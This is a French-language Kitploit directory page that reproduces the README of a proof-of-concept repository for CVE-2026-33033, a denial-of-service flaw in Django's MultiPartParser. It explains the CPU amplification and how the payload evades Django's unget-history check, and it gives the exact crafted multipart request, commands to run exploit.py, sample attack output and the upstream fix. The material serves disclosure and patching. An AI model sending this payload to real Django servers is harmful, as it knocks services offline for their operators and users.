Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-33033-PoC — Preuve de concept d'exploitation pour CVE-2026-33033, une vulnérabilité de déni de service dans le MultiPartParser de Django via l'amplification CPU des espaces en base64, démontrant une amplification d'environ 800x avec une seule requête HTTP. | Kitploit
Outils/GitHubGitHub/ch4n3-yoon/cve-2026-33033-poc
Analyse des VulnérabilitésExploitationSécurité WebTests d'Intrusion
GitHubch4n3-yoon/cve-2026-33033-poc

CVE-2026-33033-PoC

Preuve de concept d'exploitation pour CVE-2026-33033, une vulnérabilité de déni de service dans le MultiPartParser de Django via l'amplification CPU des espaces en base64, démontrant une amplification d'environ 800x avec une seule requête HTTP.

Voir le dépôt
211il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PoC CVE-2026-33033

Déni de service via amplification CPU par espaces blancs base64 dans MultiPartParser de Django

Une seule requête HTTP de 2,5 Mo peut monopoliser un worker Django pendant ~5 secondes, réalisant une amplification CPU d'environ ~2 100x par rapport à une requête normale de même taille. Aucune authentification n'est requise.

Versions concernées

Cette vulnérabilité a été corrigée dans la version de sécurité Django 6.0.4 (7 avril 2026), ainsi que dans les backports vers toutes les branches prises en charge.

BrancheAffectéeCorrigée
Django 6.0.x<= 6.0.36.0.4
Django 5.2.x<= 5.2.115.2.12
Django 5.1.x<= 5.1.x5.1.16
Django 5.0.x<= 5.0.145.0.15
Django 4.2.x<= 4.2.284.2.29

Description officielle

CVE-2026-33033 : Vulnérabilité potentielle de déni de service dans MultiPartParser via un téléversement de fichier encodé en base64 (Sévérité : Modérée)

Lors de l'utilisation de django.http.multipartparser.MultiPartParser, les téléversements multipart avec Content-Transfer-Encoding: base64 contenant des espaces blancs excessifs peuvent déclencher des copies mémoire répétées, dégradant potentiellement les performances.

— Notes de version Django 6.0.4

Autres problèmes de sécurité corrigés dans Django 6.0.4

CVESévéritéDescription
CVE-2026-3902FaibleSpoofing d'en-têtes ASGI via confusion underscore/tiret
CVE-2026-4277FaibleAbus de privilèges dans GenericInlineModelAdmin
CVE-2026-4292FaibleAbus de privilèges dans ModelAdmin.list_editable
CVE-2026-33034FaibleContournement de la limite de mémoire des téléversements ASGI via absence de Content-Length

Résumé de la vulnérabilité

Le MultiPartParser de Django possède un chemin de code spécial pour gérer les parties de fichier avec Content-Transfer-Encoding: base64. Après suppression des espaces blancs de chaque bloc, si le résultat n'est pas aligné sur un multiple de 4 octets, une boucle while appelle field_stream.read(1) pour récupérer des octets supplémentaires un par un.

Lorsque le corps du fichier est presque entièrement composé d'espaces blancs, chaque octet récupéré est réduit à rien, donc la boucle continue — appelant read(1) une fois par octet d'espace blanc. Le point crucial est que chaque read(1) est bien plus coûteux qu'il n'y paraît :

Trois couches d'amplification

root@kitploit:~
Couche 1 :  la boucle d'alignement base64 appelle read(1) par octet d'espace blanc
              |
Couche 2 :  LazyStream.read(1) récupère tout le reste (~64 Ko), découpe 1 octet,
          remet ~64 Ko - 1 en arrière  -->  copie d'octets O(C) par appel
              |
Couche 3 :  unget() fait  self._leftover = bytes + self._leftover
          créant un nouvel objet bytes à chaque fois  -->  memcpy de ~C octets

Par bloc de 64 Ko, le travail de copie forme une série arithmétique :

root@kitploit:~
Total = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2,15 milliards d'opérations sur octets

Pour une entrée de 2,5 Mo (~40 blocs) : ~86 milliards d'octets de travail memcpy à partir d'une seule requête HTTP.

Contournement de la protection existante

Django inclut _update_unget_history() qui lève SuspiciousMultipartForm si le même nombre d'octets est remis en arrière 40 fois ou plus en 50 opérations. Cependant, dans cette attaque, les tailles de remise en arrière sont monotoniquement décroissantes (65535, 65534, 65533, ...), donc chaque taille est unique et la vérification ne se déclenche jamais.

Déclenchement avant la vue

Le middleware CSRF accède à request.POST avant l'exécution de toute vue, donc même les points de terminaison renvoyant 403 subissent le coût complet de l'analyse.

Structure du dépôt

root@kitploit:~
CVE-2026-33033-PoC/
├── README.md           # Ce fichier
├── LICENSE
├── requirements.txt    # Dépendances Python
├── exploit.py          # Script d'exploitation
└── victim/             # Serveur Django vulnérable
    ├── manage.py
    ├── uwsgi.ini       # Configuration de déploiement uWSGI
    └── victim/
        ├── __init__.py
        ├── settings.py  # Paramètres Django par défaut (aucune configuration spéciale requise)
        ├── urls.py      # Points de terminaison /upload et /health
        └── wsgi.py

Étapes de reproduction

1. Cloner et configurer

root@kitploit:~
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

2. Démarrer le serveur victime

Option A : Serveur de développement Django (le plus rapide)

root@kitploit:~
cd victim
python manage.py runserver 0.0.0.0:8000

Option B : uWSGI (plus réaliste — utilise 4 workers)

root@kitploit:~
cd victim
uwsgi --ini uwsgi.ini

3. Exécuter l'exploit

Dans un terminal séparé :

root@kitploit:~
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload

Options :

OptionDéfautDescription
--targethttp://127.0.0.1:8000/uploadPoint de terminaison de téléversement cible
--size2621440 (2,5 Mo)Taille de la charge utile en octets
--rounds3Nombre de cycles d'attaque

4. Sortie attendue

root@kitploit:~
============================================================
CVE-2026-33033 PoC
Déni de service via amplification CPU par espaces blancs
base64 dans Django MultiPartParser
============================================================

Cible :        http://127.0.0.1:8000/upload
Taille de la charge utile : 2 621 440 octets (2,5 Mo)
Cycles :       3

[*] Vérification de la santé du serveur...
[+] Le serveur est opérationnel.

------------------------------------------------------------
[*] Phase 1 : Envoi d'une requête BÉNIGNE (données base64 normales)
------------------------------------------------------------
    Statut : 200
    Temps :  5,55 ms

------------------------------------------------------------
[*] Phase 2 : Envoi de requêtes MALVEILLANTES (base64 + espaces blancs)
------------------------------------------------------------

  Cycle 1/3 :
    Statut : 200
    Temps :  4571,12 ms
  ...

============================================================
RÉSULTATS
============================================================
  Requête bénigne :          5,55 ms
  Moyenne d'attaque :     4571,12 ms  (sur 3 cycles)
  Amplification :            823x

[!] VULNÉRABLE : Le temps d'attaque moyen dépasse 1 seconde.
    Une seule requête de 2,5 Mo monopolise un worker pendant ~4,6 s.
    Avec 4 workers, seulement 4 requêtes concurrentes peuvent faire tomber le serveur.

Comment fonctionne l'exploit

L'exploit construit un corps POST multipart/form-data avec une seule partie de fichier :

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552

------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64

AAA<2 621 433 espaces>A
------CVE2026-33033--
  1. Le AAA initial fait que stripped_chunk = b"AAA" (3 octets), donc remaining = 3 % 4 = 3.
  2. La boucle while appelle field_stream.read(1) pour récupérer 1 octet supplémentaire pour l'alignement.
  3. Chaque octet d'espace est réduit à rien (b"".join(b" ".split()) == b""), maintenant remaining = 3.
  4. La boucle continue pour chaque octet d'espace blanc dans le flux.
  5. Chaque LazyStream.read(1) copie en interne ~64 Ko via le mécanisme unget.

Code vulnérable

django/http/multipartparser.py, lignes 302-325 (Django 5.0.x) :

root@kitploit:~
for chunk in field_stream:
    if transfer_encoding == "base64":
        stripped_chunk = b"".join(chunk.split())

        remaining = len(stripped_chunk) % 4
        while remaining != 0:
            over_chunk = field_stream.read(4 - remaining)   # <-- read(1)
            if not over_chunk:
                break
            stripped_chunk += b"".join(over_chunk.split())   # réduit à vide
            remaining = len(stripped_chunk) % 4               # reste à 3

Correctif

Le correctif (appliqué dans Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29) remplace la boucle read(1) par octet par un read(self._chunk_size) en bloc :

root@kitploit:~
-                                stripped_chunk = b"".join(chunk.split())
+                                stripped_parts = [b"".join(chunk.split())]
+                                stripped_length = len(stripped_parts[0])

-                                remaining = len(stripped_chunk) % 4
-                                while remaining != 0:
-                                    over_chunk = field_stream.read(4 - remaining)
+                                while stripped_length % 4 != 0:
+                                    over_chunk = field_stream.read(self._chunk_size)
                                     if not over_chunk:
                                         break
-                                    stripped_chunk += b"".join(over_chunk.split())
-                                    remaining = len(stripped_chunk) % 4
+                                    over_stripped = b"".join(over_chunk.split())
+                                    stripped_parts.append(over_stripped)
+                                    stripped_length += len(over_stripped)
+
+                                stripped_chunk = b"".join(stripped_parts)

Changements clés :

  1. read(4 - remaining) → read(self._chunk_size) — lit 64 Ko à la fois au lieu de 1 à 3 octets, réduisant les appels de lecture de ~2,5 millions à ~40.
  2. stripped_chunk += ... → stripped_parts.append(...) + b"".join() final — évite une concaténation d'octets potentiellement quadratique.
  3. len(stripped_chunk) % 4 → compteur stripped_length — évite un recalcul redondant de la longueur.

Avertissement

Cette preuve de concept est fournie uniquement à des fins éducatives et de tests de sécurité autorisés. Utilisez-la de manière responsable et uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.

Licence

Licence Apache 2.0 — voir LICENSE.

Télécharger l’outil